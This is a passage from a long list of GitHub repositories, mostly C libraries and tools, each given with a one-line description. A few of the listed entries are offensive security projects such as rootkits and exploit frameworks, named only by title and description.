and scripting framework * [CloverHackyColor/CloverBootloader](https://github.com/CloverHackyColor/CloverBootloader) - Bootloader for macOS, Windows and Linux in UEFI and in legacy mode * [martanne/vis](https://github.com/martanne/vis) - A vi-like editor based on Plan 9's structural regular expressions * [lc-soft/LCUI](https://github.com/lc-soft/LCUI) - A small C library for building user interfaces with C, XML and CSS. * [torproject/tor](https://github.com/torproject/tor) - unofficial git repo -- report bugs/issues/pull requests on https://gitlab.torproject.org/ -- * [y123456yz/reading-code-of-nginx-1.9.2](https://github.com/y123456yz/reading-code-of-nginx-1.9.2) - nginx-1.9.2源码通读分析注释，带详尽函数中文分析注释以及相关函数流程调用注释，最全面的nginx源码阅读分析中文注释，更新完毕 * [NVIDIA/cuda-samples](https://github.com/NVIDIA/cuda-samples) - Samples for CUDA Developers which demonstrates features in CUDA Toolkit * [warmcat/libwebsockets](https://github.com/warmcat/libwebsockets) - canonical libwebsockets.org networking library * [Facico/Chinese-Vicuna](https://github.com/Facico/Chinese-Vicuna) - Chinese-Vicuna: A Chinese Instruction-following LLaMA-based Model —— 一个中文低资源的llama+lora方案，结构参考alpaca * [dunst-project/dunst](https://github.com/dunst-project/dunst) - Lightweight and customizable notification daemon * [RandyGaul/cute_headers](https://github.com/RandyGaul/cute_headers) - Collection of cross-platform one-file C/C++ libraries with no dependencies, primarily used for games * [attractivechaos/klib](https://github.com/attractivechaos/klib) - A standalone and lightweight C library * [zpoint/CPython-Internals](https://github.com/zpoint/CPython-Internals) - Dive into CPython internals, trying to illustrate every detail of CPython implementation * [tianocore/edk2](https://github.com/tianocore/edk2) - EDK II * [openvenues/libpostal](https://github.com/openvenues/libpostal) - A C library for parsing/normalizing street addresses around the world. Powered by statistical NLP and open geo data. * [kokke/tiny-AES-c](https://github.com/kokke/tiny-AES-c) - Small portable AES128/192/256 in C * [gnea/grbl](https://github.com/gnea/grbl) - An open source, embedded, high performance g-code-parser and CNC milling controller written in optimized C that will run on a straight Arduino * [nanopb/nanopb](https://github.com/nanopb/nanopb) - Protocol Buffers with small code size * [dvorka/hstr](https://github.com/dvorka/hstr) - bash and zsh shell history suggest box - easily view, navigate, search and manage your command history. * [troydhanson/uthash](https://github.com/troydhanson/uthash) - C macros for hash tables and more * [coreutils/coreutils](https://github.com/coreutils/coreutils) - upstream mirror * [jorisvink/kore](https://github.com/jorisvink/kore) - An easy to use, scalable and secure web application framework for writing web APIs in C or Python. || This is a read-only mirror, please see https://kore.io/mail and https://kore.io/source for information on how to contribute via the mailing lists. * [contiki-os/contiki](https://github.com/contiki-os/contiki) - The official git repository for Contiki, the open source OS for the Internet of Things * [mortdeus/legacy-cc](https://github.com/mortdeus/legacy-cc) - The earliest versions of the very first c compiler known to exist in the wild written by the late legend himself dmr. * [acassen/keepalived](https://github.com/acassen/keepalived) - Keepalived * [plasma-umass/coz](https://github.com/plasma-umass/coz) - Coz: Causal Profiling * [shadowsocks/ChinaDNS](https://github.com/shadowsocks/ChinaDNS) - Protect yourself against DNS poisoning in China. * [lotabout/write-a-C-interpreter](https://github.com/lotabout/write-a-C-interpreter) - Write a simple interpreter of C. Inspired by c4 and largely based on it. * [microsoft/msquic](https://github.com/microsoft/msquic) - Cross-platform, C implementation of the IETF QUIC protocol, exposed to C, C++, C# and Rust. * [firmianay/CTF-All-In-One](https://github.com/firmianay/CTF-All-In-One) - CTF竞赛权威指南 * [cmusphinx/pocketsphinx](https://github.com/cmusphinx/pocketsphinx) - A small speech recognizer * [iqiyi/xCrash](https://github.com/iqiyi/xCrash) - 🔥 xCrash provides the Android app with the ability to capture java crash, native crash and ANR. No root permission or any system permissions are required. * [hnes/libaco](https://github.com/hnes/libaco) - A blazing fast and lightweight C asymmetric coroutine library 💎 ⛅🚀⛅🌞 * [abishekvashok/cmatrix](https://github.com/abishekvashok/cmatrix) - Terminal based "The Matrix" like implementation * [varnishcache/varnish-cache](https://github.com/varnishcache/varnish-cache) - Varnish Cache source code repository * [karlstav/cava](https://github.com/karlstav/cava) - Cross-platform Audio Visualizer * [Mzzopublic/C](https://github.com/Mzzopublic/C) - C语言 * [3proxy/3proxy](https://github.com/3proxy/3proxy) - 3proxy - tiny free proxy server * [ThrowTheSwitch/Unity](https://github.com/ThrowTheSwitch/Unity) - Simple Unit Testing for C * [ohler55/oj](https://github.com/ohler55/oj) - Optimized JSON * [aubio/aubio](https://github.com/aubio/aubio) - a library for audio and music analysis * [fragglet/c-algorithms](https://github.com/fragglet/c-algorithms) - A library of common data structures and algorithms written in C. * [mackron/miniaudio](https://github.com/mackron/miniaudio) - Audio playback and capture library written in C, in a single source file. * [vozlt/nginx-module-vts](https://github.com/vozlt/nginx-module-vts) - Nginx virtual host traffic status module * [jonashaag/bjoern](https://github.com/jonashaag/bjoern) - A screamingly fast Python 2/3 WSGI server written in C. * [begeekmyfriend/leetcode](https://github.com/begeekmyfriend/leetcode) - LeetCode in pure C * [hexchat/hexchat](https://github.com/hexchat/hexchat) - GTK+ IRC client * [lastpass/lastpass-cli](https://github.com/lastpass/lastpass-cli) - LastPass command line interface tool * [neomutt/neomutt](https://github.com/neomutt/neomutt) - ✉️ Teaching an Old Dog New Tricks -- IRC: #neomutt on irc.libera.chat * [collectd/collectd](https://github.com/collectd/collectd) - The system statistics collection daemon. Please send Pull Requests here! * [zyantific/zydis](https://github.com/zyantific/zydis) - Fast and lightweight x86/x86-64 disassembler and code generation library * [akheron/jansson](https://github.com/akheron/jansson) - C library for encoding, decoding and manipulating JSON data * [quickjs-zh/QuickJS](https://github.com/quickjs-zh/QuickJS) - QuickJS是一个小型并且可嵌入的Javascript引擎，它支持ES2020规范，包括模块，异步生成器和代理器。 * [google/honggfuzz](https://github.com/google/honggfuzz) - Security oriented software fuzzer. Supports evolutionary, feedback-driven fuzzing based on code coverage (SW and HW based) * [stephane/libmodbus](https://github.com/stephane/libmodbus) - A Modbus library for Linux, Mac OS, FreeBSD and Windows * [dankamongmen/notcurses](https://github.com/dankamongmen/notcurses) - blingful character graphics/TUI library. definitely not curses. * [premake/premake-core](https://github.com/premake/premake-core) - Premake * [jhawthorn/fzy](https://github.com/jhawthorn/fzy) - :mag: A simple, fast fuzzy finder for the terminal * [remzi-arpacidusseau/ostep-code](https://github.com/remzi-arpacidusseau/ostep-code) - Code from various chapters in OSTEP (http://www.ostep.org) * [json-c/json-c](https://github.com/json-c/json-c) - https://github.com/json-c/json-c is the official code repository for json-c. See the wiki for release tarballs for download. API docs at http://json-c.github.io/json-c/ * [gozfree/gear-lib](https://github.com/gozfree/gear-lib) - Gear-Lib, C library for IOT Embedded Multimedia and Network * [weechat/weechat](https://github.com/weechat/weechat) - The extensible chat client. * [sustrik/libmill](https://github.com/sustrik/libmill) - Go-style concurrency in C * [sysstat/sysstat](https://github.com/sysstat/sysstat) - Performance monitoring tools for Linux * [acl-dev/acl](https://github.com/acl-dev/acl) - A powerful server and network library, including coroutine, redis client, http, websocket, mqtt with C/C++ for multi-platform. * [apache/guacamole-server](https://github.com/apache/guacamole-server) - Mirror of Apache Guacamole Server * [srdja/Collections-C](https://github.com/srdja/Collections-C) - A library of generic data structures. * [ibireme/yyjson](https://github.com/ibireme/yyjson) - The fastest JSON library in C * [Celtoys/Remotery](https://github.com/Celtoys/Remotery) - Single C file, Realtime CPU/GPU Profiler with Remote Web Viewer * [namhyung/uftrace](https://github.com/namhyung/uftrace) - Function graph tracer for C/C++/Rust/Python * [ivmai/bdwgc](https://github.com/ivmai/bdwgc) - The Boehm-Demers-Weiser conservative C/C++ Garbage Collector (bdwgc, also known as bdw-gc, boehm-gc, libgc) * [orangeduck/mpc](https://github.com/orangeduck/mpc) - A Parser Combinator library for C * [eduard-permyakov/permafrost-engine](https://github.com/eduard-permyakov/permafrost-engine) - An OpenGL RTS game engine written in C * [cleanflight/cleanflight](https://github.com/cleanflight/cleanflight) - Clean-code version of the baseflight flight controller firmware * [Ewenwan/ShiYanLou](https://github.com/Ewenwan/ShiYanLou) - 学习C & C++ & python&汇编语言 LLVM编译器 数据结构 算法 操作系统 单片机 linux 面试 * [tvheadend/tvheadend](https://github.com/tvheadend/tvheadend) - Tvheadend is a TV streaming server for Linux supporting DVB-S, DVB-S2, DVB-C, DVB-T, ATSC, IPTV,SAT>IP and other formats through the unix pipe as input sources. * [openssh/openssh-portable](https://github.com/openssh/openssh-portable) - Portable OpenSSH * [tj/luna](https://github.com/tj/luna) - luna programming language - a small, elegant VM implemented in C * [containers/crun](https://github.com/containers/crun) - A fast and lightweight fully featured OCI runtime and C library for running containers * [vifm/vifm](https://github.com/vifm/vifm) - Vifm is a file manager with curses interface, which provides Vim-like environment for managing objects within file systems, extended with some useful ideas from mutt. * [civetweb/civetweb](https://github.com/civetweb/civetweb) - Embedded C/C++ web server * [cesanta/mongoose-os](https://github.com/cesanta/mongoose-os) - Mongoose OS - an IoT Firmware Development Framework. Supported microcontrollers: ESP32, ESP8266, CC3220, CC3200, STM32F4, STM32L4, STM32F7. Amazon AWS IoT, Microsoft Azure, Google IoT Core integrated. Code in C or JavaScript. * [rvaiya/warpd](https://github.com/rvaiya/warpd) - A modal keyboard-driven virtual pointer * [NetHack/NetHack](https://github.com/NetHack/NetHack) - Official NetHack Git Repository * [cnlohr/rawdrawandroid](https://github.com/cnlohr/rawdrawandroid) - Build android apps without any java, entirely in C and Make * [nigels-com/glew](https://github.com/nigels-com/glew) - The OpenGL Extension Wrangler Library * [RavenSystem/esp-homekit-devices](https://github.com/RavenSystem/esp-homekit-devices) - Advanced firmware to add native Apple HomeKit support and custom configurations over WiFi, compatible with any SoC based on ESP32, ESP32-S, ESP32-C and ESP8266 series. * [apple/swift-corelibs-libdispatch](https://github.com/apple/swift-corelibs-libdispatch) - The libdispatch Project, (a.k.a. Grand Central Dispatch), for concurrency on multicore hardware * [stm32duino/Arduino_Core_STM32](https://github.com/stm32duino/Arduino_Core_STM32) - STM32 core support for Arduino * [MinhasKamal/CreepyCodeCollection](https://github.com/MinhasKamal/CreepyCodeCollection) - A Nonsense Collection of Disgusting Codes * [checkpoint-restore/criu](https://github.com/checkpoint-restore/criu) - Checkpoint/Restore tool * [cloudwu/coroutine](https://github.com/cloudwu/coroutine) - A asymmetric coroutine library for C. * [djkaty/Il2CppInspector](https://github.com/djkaty/Il2CppInspector) - Powerful automated tool for reverse engineering Unity IL2CPP binaries * [networkprotocol/yojimbo](https://github.com/networkprotocol/yojimbo) - A network library for client/server games written in C++ * [hackerschoice/thc-tips-tricks-hacks-cheat-sheet](https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet) - Various tips & tricks * [InfiniTimeOrg/InfiniTime](https://github.com/InfiniTimeOrg/InfiniTime) - Firmware for Pinetime smartwatch written in C++ and based on FreeRTOS * [hpjansson/chafa](https://github.com/hpjansson/chafa) - 📺🗿 Terminal graphics for the 21st century. * [zauonlok/renderer](https://github.com/zauonlok/renderer) - A shader-based software renderer written from scratch in C89 * [concurrencykit/ck](https://github.com/concurrencykit/ck) - Concurrency primitives, safe memory reclamation mechanisms and non-blocking (including lock-free) data structures designed to aid in the research, design and implementation of high performance concurrent systems developed in C99+. * [fwupd/fwupd](https://github.com/fwupd/fwupd) - A system daemon to allow session software to update firmware * [solokeys/solo1](https://github.com/solokeys/solo1) - Solo 1 firmware in C * [chjj/compton](https://github.com/chjj/compton) - A compositor for X11. * [open62541/open62541](https://github.com/open62541/open62541) - Open source implementation of OPC UA (OPC Unified Architecture) aka IEC 62541 licensed under Mozilla Public License v2.0 * [OpenSC/OpenSC](https://github.com/OpenSC/OpenSC) - Open source smart card tools and middleware. PKCS#11/MiniDriver/Tokend * [way-cooler/way-cooler](https://github.com/way-cooler/way-cooler) - Wayland compositor for AwesomeWM * [seemoo-lab/nexmon](https://github.com/seemoo-lab/nexmon) - The C-based Firmware Patching Framework for Broadcom/Cypress WiFi Chips that enables Monitor Mode, Frame Injection and much more * [citusdata/pg_cron](https://github.com/citusdata/pg_cron) - Run periodic jobs in PostgreSQL * [benhoyt/inih](https://github.com/benhoyt/inih) - Simple .INI file parser in C, good for embedded systems * [altdesktop/playerctl](https://github.com/altdesktop/playerctl) - 🎧 mpris media player command-line controller for vlc, mpv, RhythmBox, web browsers, cmus, mpd, spotify and others. * [brendan-rius/c-jwt-cracker](https://github.com/brendan-rius/c-jwt-cracker) - JWT brute force cracker written in C * [lloyd/yajl](https://github.com/lloyd/yajl) - A fast streaming JSON parsing library in C. * [linux-test-project/ltp](https://github.com/linux-test-project/ltp) - Linux Test Project http://linux-test-project.github.io/ * [tezc/sc](https://github.com/tezc/sc) - Common libraries and data structures for C. * [rxi/log.c](https://github.com/rxi/log.c) - A simple logging library implemented in C99 * [scandum/quadsort](https://github.com/scandum/quadsort) - Quadsort is a branchless stable adaptive mergesort faster than quicksort. * [Exely/CSAPP-Labs](https://github.com/Exely/CSAPP-Labs) - Solutions and Notes for Labs of Computer Systems: A Programmer's Perspective 3rd Editon // 《深入理解计算机系统》第三版的实验文件、解答与笔记 * [okbob/pspg](https://github.com/okbob/pspg) - Unix pager (with very rich functionality) designed for work with tables. Designed for PostgreSQL, but MySQL is supported too. Works well with pgcli too. Can be used as CSV or TSV viewer too. It supports searching, selecting rows, columns, or block and export selected area to clipboard. * [kkos/oniguruma](https://github.com/kkos/oniguruma) - regular expression library * [glouw/tinn](https://github.com/glouw/tinn) - A tiny neural network library * [skywind3000/mini3d](https://github.com/skywind3000/mini3d) - 3D Software Renderer in 700 Lines !! * [cc65/cc65](https://github.com/cc65/cc65) - cc65 - a freeware C compiler for 6502 based systems * [davidmoreno/onion](https://github.com/davidmoreno/onion) - C library to create simple HTTP servers and Web Applications. * [linux-can/can-utils](https://github.com/linux-can/can-utils) - Linux-CAN / SocketCAN user space applications * [vmg/sundown](https://github.com/vmg/sundown) - Standards compliant, fast, secure markdown processing library in C * [slembcke/Chipmunk2D](https://github.com/slembcke/Chipmunk2D) - A fast and lightweight 2D game physics library. * [mpitutorial/mpitutorial](https://github.com/mpitutorial/mpitutorial) - MPI programming lessons in C and executable code examples * [distcc/distcc](https://github.com/distcc/distcc) - distributed builds for C, C++ and Objective C * [symisc/unqlite](https://github.com/symisc/unqlite) - An Embedded NoSQL, Transactional Database Engine * [coreboot/coreboot](https://github.com/coreboot/coreboot) - Mirror of https://review.coreboot.org/coreboot.git. We don't handle Pull Requests. * [bats3c/shad0w](https://github.com/bats3c/shad0w) - A post exploitation framework designed to operate covertly on heavily monitored environments * [nullsecuritynet/tools](https://github.com/nullsecuritynet/tools) - Security and Hacking Tools, Exploits, Proof of Concepts, Shellcodes, Scripts. * [HardySimpson/zlog](https://github.com/HardySimpson/zlog) - A reliable, high-performance, thread safe, flexsible, clear-model, pure C logging library. * [vnmakarov/mir](https://github.com/vnmakarov/mir) - A lightweight JIT compiler based on MIR (Medium Internal Representation) and C11 JIT compiler and interpreter based on MIR * [xiph/opus](https://github.com/xiph/opus) - Modern audio compression for the internet. * [taviso/ctypes.sh](https://github.com/taviso/ctypes.sh) - A foreign function interface for bash. * [FreeRADIUS/freeradius-server](https://github.com/FreeRADIUS/freeradius-server) - FreeRADIUS - A multi-protocol policy server. * [syslog-ng/syslog-ng](https://github.com/syslog-ng/syslog-ng) - syslog-ng is an enhanced log daemon, supporting a wide range of input and output methods: syslog, unstructured text, queueing, SQL & NoSQL. * [matrixcascade/PainterEngine](https://github.com/matrixcascade/PainterEngine) - PainterEngine is a application/game engine with software renderer,PainterEngine can be transplanted to any platform that supports C * [mjansson/rpmalloc](https://github.com/mjansson/rpmalloc) - Public domain cross platform lock free thread caching 16-byte aligned memory allocator implemented in C * [SRombauts/SQLiteCpp](https://github.com/SRombauts/SQLiteCpp) - SQLiteC++ (SQLiteCpp) is a smart and easy to use C++ SQLite3 wrapper. * [berdav/CVE-2021-4034](https://github.com/berdav/CVE-2021-4034) - CVE-2021-4034 1day * [mkirchner/linked-list-good-taste](https://github.com/mkirchner/linked-list-good-taste) - Linus Torvalds' linked list argument for good taste, explained * [rapiz1/DungeonRush](https://github.com/rapiz1/DungeonRush) - 👾🐍 A opensource game inspired by Snake, written in pure C with SDL * [richgel999/miniz](https://github.com/richgel999/miniz) - miniz: Single C source file zlib-replacement library, originally from code.google.com/p/miniz * [rsyslog/rsyslog](https://github.com/rsyslog/rsyslog) - a Rocket-fast SYStem for LOG processing * [rspamd/rspamd](https://github.com/rspamd/rspamd) - Rapid spam filtering system. * [statsite/statsite](https://github.com/statsite/statsite) - C implementation of statsd * [begeekmyfriend/bplustree](https://github.com/begeekmyfriend/bplustree) - A minimal but extreme fast B+ tree indexing structure demo for billions of key-value storage * [gloxec/CrossC2](https://github.com/gloxec/CrossC2) - generate CobaltStrike's cross-platform payload * [boazsegev/facil.io](https://github.com/boazsegev/facil.io) - Your high performance web application C framework * [bitcoin-core/secp256k1](https://github.com/bitcoin-core/secp256k1) - Optimized C library for EC operations on curve secp256k1 * [mvp/uhubctl](https://github.com/mvp/uhubctl) - uhubctl - USB hub per-port power control * [drh/lcc](https://github.com/drh/lcc) - The lcc retargetable ANSI C compiler * [open-mpi/ompi](https://github.com/open-mpi/ompi) - Open MPI main development repository * [cyring/CoreFreq](https://github.com/cyring/CoreFreq) - CoreFreq is a CPU monitoring software designed for the 64-bits Processors. * [Snaipe/Criterion](https://github.com/Snaipe/Criterion) - A cross-platform C and C++ unit testing framework for the 21st century * [MarlinFirmware/Configurations](https://github.com/MarlinFirmware/Configurations) - Configurations for Marlin Firmware * [recp/cglm](https://github.com/recp/cglm) - 📽 Highly Optimized Graphics Math (glm) for C * [owntone/owntone-server](https://github.com/owntone/owntone-server) - Linux/FreeBSD DAAP (iTunes) and MPD media server with support for AirPlay 1 and 2 speakers (multiroom), Apple Remote (and compatibles), Chromecast, Spotify and internet radio. * [andrewrk/libsoundio](https://github.com/andrewrk/libsoundio) - C library for cross-platform real-time audio input and output * [cesanta/mjs](https://github.com/cesanta/mjs) - Embedded JavaScript engine for C/C++ * [Pithikos/C-Thread-Pool](https://github.com/Pithikos/C-Thread-Pool) - A minimal but powerful thread pool in ANSI C * [rui314/9cc](https://github.com/rui314/9cc) - A Small C Compiler * [Lora-net/LoRaMac-node](https://github.com/Lora-net/LoRaMac-node) - Reference implementation and documentation of a LoRa network node. * [luke-jr/bfgminer](https://github.com/luke-jr/bfgminer) - Modular ASIC/FPGA miner written in C, featuring overclocking, monitoring, fan speed control and remote interface capabilities. * [citusdata/cstore_fdw](https://github.com/citusdata/cstore_fdw) - Columnar storage extension for Postgres built as a foreign data wrapper. Check out https://github.com/citusdata/citus for a modernized columnar storage implementation built as a table access method. * [PromyLOPh/pianobar](https://github.com/PromyLOPh/pianobar) - Console-based pandora.com player * [apple/cups](https://github.com/apple/cups) - Apple CUPS Sources * [TheTumultuousUnicornOfDarkness/CPU-X](https://github.com/TheTumultuousUnicornOfDarkness/CPU-X) - CPU-X is a Free software that gathers information on CPU, motherboard and more * [h2o/picohttpparser](https://github.com/h2o/picohttpparser) - tiny HTTP parser written in C (used in HTTP::Parser::XS et al.) * [ZerBea/hcxtools](https://github.com/ZerBea/hcxtools) - Portable (that doesn't include proprietary/commercial operating systems) solution for conversion of cap/pcap/pcapng (gz compressed) WiFi dump files to hashcat formats (recommended by hashcat) and to John the Ripper formats. hcx: h = hash, c = convert and calculate candidates, x = different hashtypes * [pret/pokeemerald](https://github.com/pret/pokeemerald) - Decompilation of Pokémon Emerald * [mgerdes/Open-Golf](https://github.com/mgerdes/Open-Golf) - A cross-platform minigolf game written in C. * [jeremycw/httpserver.h](https://github.com/jeremycw/httpserver.h) - Single header library for writing non-blocking HTTP servers in C * [eclipse/paho.mqtt.c](https://github.com/eclipse/paho.mqtt.c) - An Eclipse Paho C client library for MQTT for Windows, Linux and MacOS. API documentation: https://eclipse.github.io/paho.mqtt.c/ * [Dr-Noob/cpufetch](https://github.com/Dr-Noob/cpufetch) - Simple yet fancy CPU architecture fetching tool * [facebookarchive/libphenom](https://github.com/facebookarchive/libphenom) - An eventing framework for building high performance and high scalability systems in C. * [symisc/sod](https://github.com/symisc/sod) - An Embedded Computer Vision & Machine Learning Library (CPU Optimized & IoT Capable) * [orangeduck/Corange](https://github.com/orangeduck/Corange) - Pure C Game Engine * [sustrik/libdill](https://github.com/sustrik/libdill) - Structured concurrency in C * [cgdb/cgdb](https://github.com/cgdb/cgdb) - Console front-end to the GNU debugger * [proot-me/proot](https://github.com/proot-me/proot) - chroot, mount --bind, and binfmt_misc without privilege/setup for Linux * [droe/sslsplit](https://github.com/droe/sslsplit) - Transparent SSL/TLS interception * [liballeg/allegro5](https://github.com/liballeg/allegro5) - The official Allegro 5 git repository. Pull requests welcome! * [zrythm/zrythm](https://github.com/zrythm/zrythm) - a highly automated and intuitive digital audio workstation - official mirror * [taviso/ctftool](https://github.com/taviso/ctftool) - Interactive CTF Exploration Tool * [jbruchon/jdupes](https://github.com/jbruchon/jdupes) - A powerful duplicate file finder and an enhanced fork of 'fdupes'. * [sdlpal/sdlpal](https://github.com/sdlpal/sdlpal) - SDL-based reimplementation of the classic Chinese-language RPG known as PAL. * [chocolate-doom/chocolate-doom](https://github.com/chocolate-doom/chocolate-doom) - Chocolate Doom is a Doom source port that is minimalist and historically accurate. * [iPlug2/iPlug2](https://github.com/iPlug2/iPlug2) - C++ Audio Plug-in Framework for desktop, mobile and web * [sahib/rmlint](https://github.com/sahib/rmlint) - Extremely fast tool to remove duplicates and other lint from your filesystem * [cloudwu/pbc](https://github.com/cloudwu/pbc) - A protocol buffers library for C * [lexborisov/myhtml](https://github.com/lexborisov/myhtml) - Fast C/C++ HTML 5 Parser. Using threads. * [emsec/ChameleonMini](https://github.com/emsec/ChameleonMini) - The ChameleonMini is a versatile contactless smartcard emulator compliant to NFC. The ChameleonMini was developed by https://kasper-oswald.de. The device is available at https://shop.kasper.it. For further information see the Getting Started Page https://rawgit.com/emsec/ChameleonMini/master/Doc/Doxygen/html/_page__getting_started.html or the Wiki tab above. * [B-Con/crypto-algorithms](https://github.com/B-Con/crypto-algorithms) - Basic implementations of standard cryptography algorithms, like AES and SHA-1. * [rsta2/circle](https://github.com/rsta2/circle) - A C++ bare metal environment for Raspberry Pi with USB (32 and 64 bit) * [opsengine/cpulimit](https://github.com/opsengine/cpulimit) - CPU usage limiter for Linux * [asterisk/asterisk](https://github.com/asterisk/asterisk) - The official Asterisk Project repository. * [rvaiya/keyd](https://github.com/rvaiya/keyd) - A key remapping daemon for linux. * [tsoding/olive.c](https://github.com/tsoding/olive.c) - Simple 2D Graphics Library for C * [igraph/igraph](https://github.com/igraph/igraph) - Library for the analysis of networks * [gurnec/HashCheck](https://github.com/gurnec/HashCheck) - HashCheck Shell Extension for Windows with added SHA2, SHA3, and multithreading; originally from code.kliu.org * [yitter/IdGenerator](https://github.com/yitter/IdGenerator) - 💎多语言实现，高性能生成唯一数字ID。 💎优化的雪花算法（SnowFlake）——雪花漂移算法，在缩短ID长度的同时，具备极高瞬时并发处理能力（50W/0.1s）。 💎原生支持 C#/Java/Go/Rust/C/JavaScript/TypeScript/Python/Pascal 多语言，提供其它适用于其它语言的多线程安全调用动态库（FFI）。💎支持容器环境自动扩容（自动注册 WorkerId ），单机或分布式唯一IdGenerator。💎顶尖优化，超强效能。 * [emweb/wt](https://github.com/emweb/wt) - Wt, C++ Web Toolkit * [virtio-win/kvm-guest-drivers-windows](https://github.com/virtio-win/kvm-guest-drivers-windows) - Windows paravirtualized * [Perfare/Zygisk-Il2CppDumper](https://github.com/Perfare/Zygisk-Il2CppDumper) - Using Zygisk to dump il2cpp data at runtime * [golang-ui/nuklear](https://github.com/golang-ui/nuklear) - This project provides Go bindings for nuklear.h — a small ANSI C GUI library. * [rougier/freetype-gl](https://github.com/rougier/freetype-gl) - OpenGL text using one vertex buffer, one texture and FreeType * [jarikomppa/soloud](https://github.com/jarikomppa/soloud) - Free, easy, portable audio engine for games * [h3xduck/TripleCross](https://github.com/h3xduck/TripleCross) - A Linux eBPF rootkit with a backdoor, C2, library injection, execution hijacking, persistence and stealth capabilities. * [chobits/ngx_http_proxy_connect_module](https://github.com/chobits/ngx_http_proxy_connect_module) - A forward proxy module for CONNECT request handling * [TinyCC/tinycc](https://github.com/TinyCC/tinycc) - Unofficial mirror of mob development branch * [vinniefalco/LuaBridge](https://github.com/vinniefalco/LuaBridge) - A lightweight, dependency-free library for binding Lua to C++ * [pbatard/libwdi](https://github.com/pbatard/libwdi) - Windows Driver Installer library for USB devices * [hfiref0x/KDU](https://github.com/hfiref0x/KDU) - Kernel Driver Utility * [commonmark/cmark](https://github.com/commonmark/cmark) - CommonMark parsing and rendering library and program in C * [Stephane-D/SGDK](https://github.com/Stephane-D/SGDK) - SGDK - A free and open development kit for the Sega Mega Drive * [nfc-tools/libnfc](https://github.com/nfc-tools/libnfc) - Platform independent Near Field Communication (NFC) library * [DeaDBeeF-Player/deadbeef](https://github.com/DeaDBeeF-Player/deadbeef) - DeaDBeeF Player * [luohaha/Chinese-uvbook](https://github.com/luohaha/Chinese-uvbook) - 翻译的libuv的中文教程 * [brianmario/yajl-ruby](https://github.com/brianmario/yajl-ruby) - A streaming JSON parsing and encoding library for Ruby (C bindings to yajl) * [sheredom/utf8.h](https://github.com/sheredom/utf8.h) - 📚 single header utf8 string functions for C and C++ * [free-audio/clap](https://github.com/free-audio/clap) - Audio Plugin API * [ThakeeNathees/pocketlang](https://github.com/ThakeeNathees/pocketlang) - A lightweight, fast embeddable scripting language. * [protocolbuffers/upb](https://github.com/protocolbuffers/upb) - a small protobuf implementation in C * [skeeto/w64devkit](https://github.com/skeeto/w64devkit) - Portable C and C++ Development Kit for x64 (and x86) Windows * [flutter/codelabs](https://github.com/flutter/codelabs) - Flutter codelab examples * [buserror/simavr](https://github.com/buserror/simavr) - simavr is a lean, mean and hackable AVR simulator for linux & OSX * [Harvey-OS/harvey](https://github.com/Harvey-OS/harvey) - A distributed operating system * [rxi/dyad](https://github.com/rxi/dyad) - Asynchronous networking for C * [silentbicycle/greatest](https://github.com/silentbicycle/greatest) - A C testing library in 1 file. No dependencies, no dynamic allocation. ISC licensed. * [laruence/yar](https://github.com/laruence/yar) - Light, concurrent RPC framework for PHP & C * [RRZE-HPC/likwid](https://github.com/RRZE-HPC/likwid) - Performance monitoring and benchmarking suite * [samtools/samtools](https://github.com/samtools/samtools) - Tools (written in C using htslib) for manipulating next-generation sequencing data * [systemd/casync](https://github.com/systemd/casync) - Content-Addressable Data Synchronization Tool * [libtom/libtomcrypt](https://github.com/libtom/libtomcrypt) - LibTomCrypt is a fairly comprehensive, modular and portable cryptographic toolkit that provides developers with a vast array of well known published block ciphers, one-way hash functions, chaining modes, pseudo-random number generators, public key cryptography and a plethora of other routines. * [brektrou/rtl8821CU](https://github.com/brektrou/rtl8821CU) - Realtek RTL8811CU/RTL8821CU USB Wi-Fi adapter driver for Linux * [cesanta/v7](https://github.com/cesanta/v7) - Embedded JavaScript engine for C/C++ * [Softmotions/ejdb](https://github.com/Softmotions/ejdb) - :snowboarder: EJDB2 — Embeddable JSON Database engine C library. Simple XPath like query language (JQL). Websockets / Android / iOS / React Native / Flutter / Java / Dart / Node.js bindings. Docker image. * [codeplea/genann](https://github.com/codeplea/genann) - simple neural network library in ANSI C * [m0nad/Diamorphine](https://github.com/m0nad/Diamorphine) - LKM rootkit for Linux Kernels 2.6.x/3.x/4.x/5.x (x86/x86_64 and ARM64) * [hfiref0x/WinObjEx64](https://github.com/hfiref0x/WinObjEx64) - Windows Object Explorer 64-bit * [SpenceKonde/ATTinyCore](https://github.com/SpenceKonde/ATTinyCore) - Arduino core for ATtiny 1634, 828, x313, x4, x41, x5, x61, x7 and x8 * [letoram/arcan](https://github.com/letoram/arcan) - Arcan - [Display Server, Multimedia Framework, Game Engine] -> "Desktop Engine" * [0voice/ffmpeg_develop_doc](https://github.com/0voice/ffmpeg_develop_doc) - 2023年，最新音视频学习资料整理，项目（调试可用），ffmpeg命令手册，文章，编解码论文，视频讲解，面试题全套资料 * [armink/CmBacktrace](https://github.com/armink/CmBacktrace) - Advanced fault backtrace library for ARM Cortex-M series MCU | ARM Cortex-M 系列 MCU 错误追踪库 * [cs50/libcs50](https://github.com/cs50/libcs50) - This is CS50's Library for C. * [gbdk-2020/gbdk-2020](https://github.com/gbdk-2020/gbdk-2020) - An updated version of GBDK, A C compiler, assembler, linker and set of libraries for the Z80 like Nintendo Gameboy. * [apple/swift-crypto](https://github.com/apple/swift-crypto) - Open-source implementation of a substantial portion of the API of Apple CryptoKit suitable for use on Linux platforms. * [eclipse/mraa](https://github.com/eclipse/mraa) - Linux Library for low speed IO Communication in C with bindings for C++, Python, Node.js & Java. Supports generic io platforms, as well as Intel Edison, Intel Joule, Raspberry Pi and many more. * [LIJI32/SameBoy](https://github.com/LIJI32/SameBoy) - Game Boy and Game Boy Color emulator written in C * [rui314/minilisp](https://github.com/rui314/minilisp) - A readable lisp in less than 1k lines of C * [metacall/core](https://github.com/metacall/core) - MetaCall: The ultimate polyglot programming experience. * [RoaringBitmap/CRoaring](https://github.com/RoaringBitmap/CRoaring) - Roaring bitmaps in C (and C++), with SIMD (AVX2, AVX-512 and NEON) optimizations * [open5gs/open5gs](https://github.com/open5gs/open5gs) - Open5GS is a C-language Open Source implementation for 5G Core and EPC, i.e. the core network of LTE/NR network (Release-17) * [miniupnp/miniupnp](https://github.com/miniupnp/miniupnp) - UPnP IGD implementation * [ands/lightmapper](https://github.com/ands/lightmapper) - A C/C++ single-file library for drop-in lightmap baking. Just use your existing OpenGL renderer to bounce light! * [siduck/chadwm](https://github.com/siduck/chadwm) - Making dwm as beautiful as possible! * [brenns10/lsh](https://github.com/brenns10/lsh) - Simple shell implementation. Tutorial here -> * 